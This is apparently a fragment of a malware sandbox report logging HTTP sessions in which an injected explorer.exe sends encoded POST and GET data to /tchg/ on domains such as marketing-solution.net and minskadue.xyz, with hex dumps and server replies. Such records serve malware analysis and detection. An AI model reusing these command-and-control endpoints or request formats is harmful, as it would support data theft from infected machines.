JXeu2vq3n8-ZLUIthwCxP9_1JD5xF4JxaJ_VMMmv-GGNLgBbjWGNa(Jn92AqaGEyPAcpTRyK7j2ggQWBO2Sb0oLorC1(dycCD~Pqf11MIFnucoO4pB3U5NwjcIipCS1kNYSE0(C2R6pdpW9fwjV0A7E0rD7rBIKwbYtmlhNV6vcrkENvjl5TKmv4rybG68Zo86tRprudW4ZCcsF7UZZLiKpCTPSwAjMcSKqoBZ9YJSpc-radGS3Jq9YY6g3GWAHLp1SszAWaloPyktKWOBPYO5M1lsuL8NIsLE_9oMhKaHmbPJDdwNuKCoSWVPslUxUkRCcPGrqTAWLlY2nKFq6VJG43Pmlz-WBycVHhz5t0xKJXZQWlA4-90MI(7rDD-5FLo3UrKDEHYfP4El3xINlTJTBpHhdoStd2GQU(O1ZVVGNuKC2ulKCcO8dAuHhk9yLSMZ1gwtNvjhwo_IaEuG87av7ZdthQnoSFMYw2nm_jaP3gekxNcIsg-QjOfr06VGP3l1hc6K-Wx3PjvPRgQHk0xPXc9uN8DQUsDI1NwmCcGV5As9sOzXnYD(XGvMaicyZljKeXeqF1HnWiQ1GHkZMHCuklMRwTiErLZTDxV(008qyeHiPFKdIjCCxdnUSZfDgHhovUPyRCqE-SXn72N(5ln0xSBzGw97szdz-7pAE4ixYtCgGNJMDF-YOnqNh
May 30, 2023 11:11:43.971282005 CEST	1250	OUT	Data Raw: 66 47 6e 33 70 38 69 74 77 6d 5a 38 42 4e 62 32 37 32 75 71 75 53 36 43 42 28 58 38 46 73 5a 35 4c 67 6f 33 5a 65 51 43 49 4a 35 5a 5f 72 6b 52 6f 4d 61 68 7a 69 6e 7e 33 43 77 51 74 54 72 33 39 46 57 41 30 50 5a 4e 41 31 47 4a 42 4d 74 6b 4d 70 Data Ascii: fGn3p8itwmZ8BNb272uquS6CB(X8FsZ5Lgo3ZeQCIJ5Z_rkRoMahzin~3CwQtTr39FWA0PZNA1GJBMtkMpEbFrz8p~tx_T3OLZIAnPtnywsgVgWMcG1lf7DjjeJcnKRONYIVdFIpSWal856jwTCKWYBkhcRmzQfEBA9r-gjMvGleJYznHk5yBONdMLt~cI5cqSD5RS9nd(wjhPcjOh7oPF0GM3feRoS9S2vmUXQzpgWIviQo23W
May 30, 2023 11:11:43.971463919 CEST	1265	OUT	Data Raw: 2d 71 77 54 36 72 65 4f 75 43 34 39 54 62 67 53 78 4b 6e 4f 56 71 6e 4f 5a 53 4c 73 39 6c 70 59 64 4b 77 38 6e 41 64 41 57 5a 6b 31 58 41 78 38 36 65 4c 56 47 56 39 66 4b 54 33 68 50 54 7a 57 71 31 44 68 48 73 7a 7e 6a 52 45 31 33 36 33 45 63 42 Data Ascii: -qwT6reOuC49TbgSxKnOVqnOZSLs9lpYdKw8nAdAWZk1XAx86eLVGV9fKT3hPTzWq1DhHsz~jRE1363EcB3VPrElc33HxDLJkczQNXwDaxThzUmEBi292K3FdsxWhzFecX1Xs(z9PLrxpwBTDccKmFxqKQfhMERXfPRvI8DEutPd_32buuq6oNdd_1H0ZRL5zgDXMBkY3j2o6atGmbbdIoHMROpPT9nA2hJNuT-e0J8ieQh7Efq
May 30, 2023 11:11:43.973906994 CEST	1266	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:11:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6b(HML),I310Q/Qp/K&T$dCAfAyyyr0.a30
May 30, 2023 11:11:43.974242926 CEST	1271	OUT	Data Raw: 6a 38 62 73 67 70 45 4c 6a 79 6e 6d 68 6d 62 77 61 47 35 53 42 34 78 47 5a 79 35 57 63 37 58 43 30 73 48 64 35 44 4b 64 5f 67 37 4c 30 36 54 46 63 78 6c 6b 70 43 6a 73 75 36 68 67 51 7a 4b 4f 4a 55 74 45 42 6b 78 49 6f 61 37 4b 31 78 5f 28 51 4c Data Ascii: j8bsgpELjynmhmbwaG5SB4xGZy5Wc7XC0sHd5DKd_g7L06TFcxlkpCjsu6hgQzKOJUtEBkxIoa7K1x_(QLU0m4GRxcj1RqhlL3M3YxVv2JWwgjMsao1LcNW~kpTehCOWixvzaciyI7UL4bqTlOGwmESdQ9w1XowFxzS(924afbWbadv(Tw_jbEnDKDDV0tIxl13PaRQNaMHYubIqLo0cZ(uDn(Wg-xtYXbMMhBfaCl9uK5qTVil
May 30, 2023 11:11:43.974332094 CEST	1273	OUT	Data Raw: 63 77 77 6d 45 61 4f 63 65 7e 38 30 6c 77 52 6a 4d 46 55 47 77 63 32 64 4f 32 57 28 51 46 76 42 66 41 53 31 7a 55 39 44 76 47 62 64 55 56 79 52 74 33 75 45 50 77 31 4f 6c 70 5f 56 46 66 55 33 43 47 49 39 4b 45 49 4f 51 52 43 4a 52 78 4b 65 4d 73 Data Ascii: cwwmEaOce~80lwRjMFUGwc2dO2W(QFvBfAS1zU9DvGbdUVyRt3uEPw1Olp_VFfU3CGI9KEIOQRCJRxKeMsi982z(mddcuir(zjgpw8ISS2hFky2ka6cLMNEGieEiTkUD58ZgC(qo59DsxduM_SePQmlsarHvuirJDxeRo9RVHMgBlusynFJbwun5IapUwf1h7VbVtv-SshjkQDh8qkklAR1zlpDyL5lf9xxh5tnZ_qAyy2cSrp_
May 30, 2023 11:11:44.048996925 CEST	1281	OUT	Data Raw: 68 35 6c 72 58 7e 39 55 49 64 4b 51 69 53 35 33 55 6e 6f 67 6d 47 73 67 74 63 6a 51 67 65 5f 76 47 37 6a 46 64 71 52 47 35 65 37 71 36 52 63 52 43 7e 47 36 4e 48 33 6f 4a 76 75 68 4e 45 61 49 56 4a 72 32 4c 34 6d 4e 42 74 6e 47 69 73 69 55 5a 64 Data Ascii: h5lrX~9UIdKQiS53UnogmGsgtcjQge_vG7jFdqRG5e7q6RcRC~G6NH3oJvuhNEaIVJr2L4mNBtnGisiUZdToRt_kdMXoYrQVTRaOzXacj4zRuhmkkEeV1WnHZ3auxp7enUR0nKKqc3ZlrJnFXJ-evieovjtrLn6rpPxvmRj~5ZvrYU8ZZD5B1Gf788lVAs7i0mwRQB7ykt63vclK1gq2E64LAR_SDqnX8oGiGanLhex7VqeECO5
May 30, 2023 11:11:44.049118042 CEST	1286	OUT	Data Raw: 55 76 34 7a 68 4d 62 31 6d 57 67 4c 6e 4b 57 6f 69 32 74 6f 77 6e 69 68 4d 6f 47 79 4e 73 2d 37 45 56 55 7a 59 54 4e 4b 30 59 59 71 66 32 2d 6a 6b 49 55 30 41 46 70 72 68 64 2d 69 57 34 58 54 34 48 61 61 68 37 49 6d 30 4a 6b 67 39 56 47 65 62 33 Data Ascii: Uv4zhMb1mWgLnKWoi2townihMoGyNs-7EVUzYTNK0YYqf2-jkIU0AFprhd-iW4XT4Haah7Im0Jkg9VGeb34HdO0sGy6Q3qpCRSSe1DruelxDM412-PT1WZYChcaXcNSOvrcdZGow8pmTiUsR3wudqOLncimRmzqOrcconbWQ7RR0zgVShHfg-neivTBIkng0RGg4lRtD7OGF61HItMYD8aI(ZaLh7BBl4v4dmpdXmvjae6wgB7H
May 30, 2023 11:11:44.049173117 CEST	1287	OUT	Data Raw: 52 78 71 33 50 48 67 63 33 65 41 49 67 6b 4f 42 54 61 74 51 71 66 4d 75 61 64 39 4c 72 28 34 47 31 66 68 57 68 28 70 46 68 53 56 34 31 49 76 74 6e 31 48 4e 4c 34 5f 56 51 51 33 4f 43 6d 6c 79 48 6f 38 77 41 39 4c 41 54 35 66 41 6d 4b 57 54 41 5a Data Ascii: Rxq3PHgc3eAIgkOBTatQqfMuad9Lr(4G1fhWh(pFhSV41Ivtn1HNL4_VQQ3OCmlyHo8wA9LAT5fAmKWTAZ3Pr7dtJSGOLA6wyY4TxsU4yZPeasCREbUcMnmN7Ns7thyCB7Ab8EmkVgJVbJeMb~GKwwWzvxoGjrtBpnGKspE8g91~Dpldzy6wK5c~oWQMxO1iBDsWY4NJLUzjJ48v5Ub3r3_2yBfPWP1j9GR05YNhptTtV4FVX~F

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.11.20	49826	109.123.121.243	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:11:46.498918056 CEST	1288	OUT	GET /tchg/?O0qEM=DJvKcwNMAiJtEMOFKIZqmDIH4j0MfehpVISF4oayj5HJP/icrRLtFKDL2L4p+A5+/b2o2lLyzfTNwEC6FKsE+wfmOuyyDckdRA==&CF1Ki=UnDuQcdCFs1MNsvY HTTP/1.1 Host: www.minskadue.xyz Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 30, 2023 11:11:46.574074984 CEST	1289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 30 May 2023 09:11:46 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.11.20	49827	91.195.240.45	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:11:51.588654995 CEST	1290	OUT	POST /tchg/ HTTP/1.1 Host: www.marketing-solution.net Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.marketing-solution.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.marketing-solution.net/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 59 6a 57 74 75 6c 67 6b 50 46 69 4e 44 63 6e 54 4e 76 6e 54 48 37 75 44 62 75 56 45 67 45 31 65 69 36 6b 44 30 51 48 6b 42 44 76 70 49 72 65 5a 6b 41 4b 54 61 31 4b 4d 7a 6e 54 6a 70 44 6c 71 7e 59 4b 61 4e 6e 6c 63 65 4a 58 44 4b 6d 74 31 33 4b 66 79 32 47 45 37 5a 57 38 71 7a 55 49 6b 4c 6c 31 31 41 43 41 33 72 50 35 38 56 51 7a 51 73 77 4e 6a 78 76 7a 73 30 58 57 61 61 54 78 70 5a 48 78 7a 75 59 52 62 53 56 36 45 41 4d 56 64 43 6b 7e 47 28 4f 4b 50 61 58 55 33 72 64 71 49 79 4f 4a 41 76 67 4b 47 6b 66 34 4a 59 4e 47 6b 59 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=YjWtulgkPFiNDcnTNvnTH7uDbuVEgE1ei6kD0QHkBDvpIreZkAKTa1KMznTjpDlq~YKaNnlceJXDKmt13Kfy2GE7ZW8qzUIkLl11ACA3rP58VQzQswNjxvzs0XWaaTxpZHxzuYRbSV6EAMVdCk~G(OKPaXU3rdqIyOJAvgKGkf4JYNGkYw).
May 30, 2023 11:11:51.600084066 CEST	1290	IN	HTTP/1.1 403 Forbidden date: Tue, 30 May 2023 09:11:51 GMT content-type: text/html transfer-encoding: chunked vary: Accept-Encoding server: NginX content-encoding: gzip connection: close Data Raw: 36 45 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f bf 20 35 af 28 b5 b8 a4 12 59 5e 1f 66 a2 3e d4 35 00 74 17 fb af 96 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6E(HML),I310Vp/JLII&T";Ct@}4l"(/ 5(Y^f>5t0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.11.20	49828	91.195.240.45	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:11:54.119678020 CEST	1292	OUT	POST /tchg/ HTTP/1.1 Host: www.marketing-solution.net Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.marketing-solution.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.marketing-solution.net/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 59 6a 57 74 75 6c 67 6b 50 46 69 4e 52 74 33 54 50 4d 28 54 43 62 75 41 55 4f 56 45 76 6b 31 53 69 36 67 44 30 52 44 4f 42 78 4c 70 49 4b 75 5a 6c 42 4b 54 55 56 4b 4d 34 48 54 36 30 7a 6c 6a 7e 59 48 70 4e 69 46 63 65 4a 44 44 59 6e 4e 31 6d 71 66 31 69 57 45 38 4a 47 38 72 34 30 49 36 4c 6c 35 54 41 41 38 33 72 2d 56 38 57 53 72 51 6f 69 31 6b 30 50 7a 75 68 48 57 5a 54 7a 78 4f 5a 48 74 52 75 5a 70 6c 53 6a 4b 45 41 73 31 64 44 6b 7e 46 33 2d 4b 45 55 48 56 6a 73 34 48 73 39 5f 5a 30 75 46 47 70 6c 37 52 67 52 76 62 4c 46 41 51 55 50 35 4c 6a 69 4c 31 67 50 44 6d 4c 70 37 61 45 78 41 73 6d 42 58 50 33 4e 42 7a 35 78 66 37 7a 50 32 47 71 79 47 43 56 6b 4a 66 38 48 6a 52 38 78 76 74 63 6b 56 6c 6b 78 31 4e 67 46 51 59 4d 39 57 62 53 72 6a 65 67 34 53 53 44 37 53 54 4c 6e 75 4b 33 69 32 4f 53 61 47 28 67 4d 34 6e 52 73 4d 76 45 49 55 50 35 44 36 70 46 7e 6d 38 68 4c 61 55 7a 31 6c 64 59 7e 66 6d 73 78 5a 28 2d 63 52 37 34 4f 42 45 4b 74 75 77 4a 76 70 4b 75 7a 64 73 36 58 5f 30 56 43 44 30 57 4d 78 52 4b 47 6e 69 56 73 67 55 59 49 52 39 6b 50 6c 31 43 31 67 4e 58 58 62 48 74 69 76 7e 4d 56 63 74 4e 72 5f 4c 34 30 4d 4f 33 72 37 59 6c 50 35 4e 65 5a 56 68 72 56 36 77 6f 5a 4d 67 6f 28 38 75 5f 78 50 6e 33 59 54 66 5a 52 42 7e 45 4c 75 48 50 47 70 77 6b 79 61 51 38 31 5a 38 70 41 47 63 51 46 77 43 66 67 74 4c 4f 6d 49 64 64 4d 61 4b 6f 49 6e 6d 2d 75 75 61 78 38 4a 69 37 45 50 30 4e 50 4a 44 64 69 35 78 6a 56 44 76 34 5a 61 55 46 45 62 4f 42 7e 55 56 46 7e 59 55 49 4b 30 46 58 59 65 30 69 4a 69 7a 4a 68 46 32 5f 6f 6f 37 6a 47 79 73 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=YjWtulgkPFiNRt3TPM(TCbuAUOVEvk1Si6gD0RDOBxLpIKuZlBKTUVKM4HT60zlj~YHpNiFceJDDYnN1mqf1iWE8JG8r40I6Ll5TAA83r-V8WSrQoi1k0PzuhHWZTzxOZHtRuZplSjKEAs1dDk~F3-KEUHVjs4Hs9_Z0uFGpl7RgRvbLFAQUP5LjiL1gPDmLp7aExAsmBXP3NBz5xf7zP2GqyGCVkJf8HjR8xvtckVlkx1NgFQYM9WbSrjeg4SSD7STLnuK3i2OSaG(gM4nRsMvEIUP5D6pF~m8hLaUz1ldY~fmsxZ(-cR74OBEKtuwJvpKuzds6X_0VCD0WMxRKGniVsgUYIR9kPl1C1gNXXbHtiv~MVctNr_L40MO3r7YlP5NeZVhrV6woZMgo(8u_xPn3YTfZRB~ELuHPGpwkyaQ81Z8pAGcQFwCfgtLOmIddMaKoInm-uuax8Ji7EP0NPJDdi5xjVDv4ZaUFEbOB~UVF~YUIK0FXYe0iJizJhF2_oo7jGys.
May 30, 2023 11:11:54.131275892 CEST	1292	IN	HTTP/1.1 403 Forbidden date: Tue, 30 May 2023 09:11:54 GMT content-type: text/html transfer-encoding: chunked vary: Accept-Encoding server: NginX content-encoding: gzip connection: close Data Raw: 36 45 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f bf 20 35 af 28 b5 b8 a4 12 59 5e 1f 66 a2 3e d4 35 00 74 17 fb af 96 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6E(HML),I310Vp/JLII&T";Ct@}4l"(/ 5(Y^f>5t0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.11.20	49766	91.195.240.45	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:08:21.980484962 CEST	335	OUT	POST /tchg/ HTTP/1.1 Host: www.marketing-solution.net Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.marketing-solution.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.marketing-solution.net/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 59 6a 57 74 75 6c 67 6b 50 46 69 4e 44 63 6e 54 4e 76 6e 54 48 37 75 44 62 75 56 45 67 45 31 65 69 36 6b 44 30 51 48 6b 42 44 76 70 49 72 65 5a 6b 41 4b 54 61 31 4b 4d 7a 6e 54 6a 70 44 6c 71 7e 59 4b 61 4e 6e 6c 63 65 4a 58 44 4b 6d 74 31 33 4b 66 79 32 47 45 37 5a 57 38 71 7a 55 49 6b 4c 6c 31 31 41 43 41 33 72 50 35 38 56 51 7a 51 73 77 4e 6a 78 76 7a 73 30 58 57 61 61 54 78 70 5a 48 78 7a 75 59 52 62 53 56 36 45 41 4d 56 64 43 6b 7e 47 28 4f 4b 50 61 58 55 33 72 64 71 49 79 4f 4a 41 76 67 4b 47 6b 66 34 4a 59 4e 47 6b 59 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=YjWtulgkPFiNDcnTNvnTH7uDbuVEgE1ei6kD0QHkBDvpIreZkAKTa1KMznTjpDlq~YKaNnlceJXDKmt13Kfy2GE7ZW8qzUIkLl11ACA3rP58VQzQswNjxvzs0XWaaTxpZHxzuYRbSV6EAMVdCk~G(OKPaXU3rdqIyOJAvgKGkf4JYNGkYw).
May 30, 2023 11:08:21.996994972 CEST	335	IN	HTTP/1.1 403 Forbidden date: Tue, 30 May 2023 09:08:21 GMT content-type: text/html transfer-encoding: chunked vary: Accept-Encoding server: NginX content-encoding: gzip connection: close Data Raw: 36 45 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f bf 20 35 af 28 b5 b8 a4 12 59 5e 1f 66 a2 3e d4 35 00 74 17 fb af 96 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6E(HML),I310Vp/JLII&T";Ct@}4l"(/ 5(Y^f>5t0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.11.20	49829	91.195.240.45	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:11:56.650516033 CEST	1305	OUT	POST /tchg/ HTTP/1.1 Host: www.marketing-solution.net Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.marketing-solution.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.marketing-solution.net/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 59 6a 57 74 75 6c 67 6b 50 46 69 4e 52 74 33 54 50 4d 28 54 43 62 75 41 55 4f 56 45 76 6b 31 53 69 36 67 44 30 52 44 4f 42 78 44 70 4a 34 57 5a 6b 6a 69 54 56 56 4b 4d 78 6e 54 5f 30 7a 6b 7a 7e 59 66 32 4e 69 41 70 65 4c 37 44 59 55 46 31 6d 34 48 31 70 32 45 39 4d 47 38 6c 7a 55 49 75 4c 6c 31 48 41 42 59 34 72 50 68 38 56 51 6a 51 73 54 31 6a 36 5f 7a 73 68 48 57 56 58 7a 78 5a 5a 48 6f 55 75 5a 6c 6c 53 68 4f 45 53 71 35 64 47 7a 43 46 7e 4f 4b 44 53 33 56 38 6e 59 48 5a 39 5f 64 42 75 46 47 66 6c 2d 78 67 52 74 44 4c 45 44 34 54 4d 5a 4c 6a 71 72 31 6a 4c 44 71 48 70 37 47 63 78 44 77 6d 42 51 37 33 58 68 7a 35 33 2d 37 79 43 47 47 73 32 47 44 4d 76 6f 69 7a 48 6a 46 6f 78 71 39 63 6c 6b 42 6b 78 43 35 67 4a 56 6b 4d 6a 47 62 55 76 6a 66 6b 32 79 53 68 37 57 33 78 6e 71 28 43 69 32 36 53 61 6a 4c 67 4b 5a 6e 51 38 38 75 50 4e 55 4f 7a 56 4b 30 52 7e 6d 73 44 4c 61 56 75 31 6e 78 59 7e 75 57 73 77 59 28 78 61 42 37 5f 46 68 45 66 6b 4f 73 31 76 74 53 6d 7a 65 38 71 58 38 59 56 51 7a 30 57 64 69 4a 46 52 48 69 53 77 51 56 42 47 78 38 6d 50 6b 4a 65 31 67 6c 68 55 72 72 74 69 66 75 4d 52 4d 74 53 76 66 4c 43 7e 73 4f 74 76 37 59 6c 50 35 41 6e 5a 56 74 72 57 4c 59 6f 57 62 6b 6f 36 76 57 5f 33 50 6e 75 59 54 65 58 52 42 7a 6b 4c 75 50 68 47 70 41 4b 79 5a 38 38 77 59 73 70 48 44 38 66 4f 67 44 30 6b 74 4c 64 35 59 52 4b 4d 61 47 67 49 6b 50 46 70 5a 71 78 39 4a 53 37 41 50 30 4b 4a 70 43 56 30 70 78 4c 52 44 6a 73 5a 61 5a 77 45 62 36 33 7e 54 68 46 37 4a 39 6c 51 45 46 67 43 63 49 5a 48 58 37 53 75 54 32 54 28 4a 33 31 51 48 44 58 5a 4b 62 43 67 44 28 77 73 6c 6e 57 6c 66 43 35 58 36 53 53 71 45 67 51 30 65 74 75 61 73 79 6c 61 36 7a 6a 61 33 28 6b 64 75 75 63 32 64 42 47 6a 6b 56 39 28 66 28 76 72 65 6b 34 76 78 67 59 51 47 68 79 66 38 79 61 32 57 62 6a 71 4d 5a 56 43 69 7a 44 6b 31 51 79 50 6a 4a 78 71 41 46 6d 39 33 49 51 78 4f 63 58 37 57 45 43 36 73 4c 32 56 30 50 66 68 5a 68 53 7e 51 59 50 28 48 77 31 42 5f 69 5a 6d 58 4e 38 6c 46 54 2d 47 33 66 7a 31 37 64 4e 6a 66 68 4b 72 36 77 58 58 45 6b 68 4f 64 79 44 31 5f 41 61 34 35 53 49 31 70 66 78 65 68 64 65 38 52 51 52 54 56 6f 6e 4e 43 48 55 69 55 4b 66 4b 46 4c 38 56 51 56 6a 70 5f 46 57 43 6b 6f 75 43 4a 37 5a 57 66 73 4b 64 72 71 57 6c 65 30 53 74 48 72 6d 43 75 77 7a 38 69 62 59 52 7a 28 2d 54 6e 79 53 34 32 69 56 61 53 44 36 59 61 39 32 4a 49 51 73 32 56 4a 4a 55 64 54 4f 42 6d 4c 71 66 52 7a 75 28 34 32 41 4e 47 69 56 78 75 49 5f 47 48 4d 44 71 4c 79 74 30 74 67 71 49 78 75 6e 4c 4a 6d 39 45 52 65 4d 58 42 63 37 65 59 35 7a 5a 4e 6e 58 47 62 63 48 7e 6b 77 32 59 78 73 48 59 49 4f 70 7e 7a 4d 49 28 4c 42 76 59 5f 52 38 6b 6e 73 50 6e 4f 73 58 56 73 4d 38 6a 62 61 54 34 71 33 44 55 4a 71 78 64 77 4f 67 38 42 73 63 65 63 7a 32 4c 70 36 5f 56 67 41 56 58 4d 37 69 71 47 4f 32 38 49 57 35 56 4c 39 43 54 41 6a 69 73 52 79 52 62 6c 36 6f 55 54 38 71 4c 63 42 62 49 41 73 78 33 59 66 2d 79 59 69 4d 4a 4a 51 68 47 43 6d 47 63 6f 56 45 38 4e 50 68 50 7a 6a 41 74 61 41 46 4e 35 37 30 67 79 46 7a 51 35 44 73 62 39 49 48 52 56 6f 49 6d 71 44 63 37 57 54 38 42 4b 6b 79 4e 46 38 5a 53 4f 6d 4a 43 59 73 44 39 75 5a 57 4e 39 49 6e 46 5f 32 4f 69 78 35 77 6b 7a 5a 30 36 70 6b 44 71 7a 31 6f 66 65 6e 58 33 6f 59 68 79 52 67 37 6b 74 33 4b 66 50 42 54 59 41 45 56 59 55 76 73 49 65 50 31 4b 4a 67 52 63 78 58 50 43 30 72 77 75 4b 61 42 38 76 6b 69 73 6d 4e 6a 76 6b 51 73 42 54 72 73 71 76 47 50 4e 49 5a 35 62 50 54 64 63 68 4f 4a 48 32 7e 51 4f 75 68 6e 42 63 78 64 75 57 59 4d 4c 37 70 4b 39 4b 72 6a 7e 30 35 42 70 66 4e 55 33 45 58 4e 77 6f 74 54 59 32 58 4c 66 75 41 49 71 63 52 70 49 50 66 6c 42 50 37 65 41 39 51 71 7e 49 7a 51 52 6c 76 49 38 41 54 50 47 52 58 79 50 6e 4d 6d 6d 58 36 70 57 48 39 6a 79 6b 51 6a 68 58 5a 75 63 48 4a 57 38 4a 34 37 61 30 56 50 7e 59 52 41 7e 6e 75 78 48 38 76 55 39 41 4a 41 76 79 42 6b 44 44 6f 4b 79 75 66 55 78 49 6f 47 37 67 55 74 50 6e 38 73 41 53 62 41 51 44 5a 4f 58 5a 79 5f 4f 34 38 53 6f 64 31 54 70 46 4f 50 51 53 6f 35 45 45 6b 56 77 30 6a 37 50 44 41 49 56 69 7e 53 7e 76 46 45 6f 36 71 6e 50 36 4c 79 75 4a 36 75 7e Data Ascii: O0qEM=YjWtulgkPFiNRt3TPM(TCbuAUOVEvk1Si6gD0RDOBxDpJ4WZkjiTVVKMxnT_0zkz~Yf2NiApeL7DYUF1m4H1p2E9MG8lzUIuLl1HABY4rPh8VQjQsT1j6_zshHWVXzxZZHoUuZllShOESq5dGzCF~OKDS3V8nYHZ9_dBuFGfl-xgRtDLED4TMZLjqr1jLDqHp7GcxDwmBQ73Xhz53-7yCGGs2GDMvoizHjFoxq9clkBkxC5gJVkMjGbUvjfk2ySh7W3xnq(Ci26SajLgKZnQ88uPNUOzVK0R~msDLaVu1nxY~uWswY(xaB7_FhEfkOs1vtSmze8qX8YVQz0WdiJFRHiSwQVBGx8mPkJe1glhUrrtifuMRMtSvfLC~sOtv7YlP5AnZVtrWLYoWbko6vW_3PnuYTeXRBzkLuPhGpAKyZ88wYspHD8fOgD0ktLd5YRKMaGgIkPFpZqx9JS7AP0KJpCV0pxLRDjsZaZwEb63~ThF7J9lQEFgCcIZHX7SuT2T(J31QHDXZKbCgD(wslnWlfC5X6SSqEgQ0etuasyla6zja3(kduuc2dBGjkV9(f(vrek4vxgYQGhyf8ya2WbjqMZVCizDk1QyPjJxqAFm93IQxOcX7WEC6sL2V0PfhZhS~QYP(Hw1B_iZmXN8lFT-G3fz17dNjfhKr6wXXEkhOdyD1_Aa45SI1pfxehde8RQRTVonNCHUiUKfKFL8VQVjp_FWCkouCJ7ZWfsKdrqWle0StHrmCuwz8ibYRz(-TnyS42iVaSD6Ya92JIQs2VJJUdTOBmLqfRzu(42ANGiVxuI_GHMDqLyt0tgqIxunLJm9EReMXBc7eY5zZNnXGbcH~kw2YxsHYIOp~zMI(LBvY_R8knsPnOsXVsM8jbaT4q3DUJqxdwOg8Bscecz2Lp6_VgAVXM7iqGO28IW5VL9CTAjisRyRbl6oUT8qLcBbIAsx3Yf-yYiMJJQhGCmGcoVE8NPhPzjAtaAFN570gyFzQ5Dsb9IHRVoImqDc7WT8BKkyNF8ZSOmJCYsD9uZWN9InF_2Oix5wkzZ06pkDqz1ofenX3oYhyRg7kt3KfPBTYAEVYUvsIeP1KJgRcxXPC0rwuKaB8vkismNjvkQsBTrsqvGPNIZ5b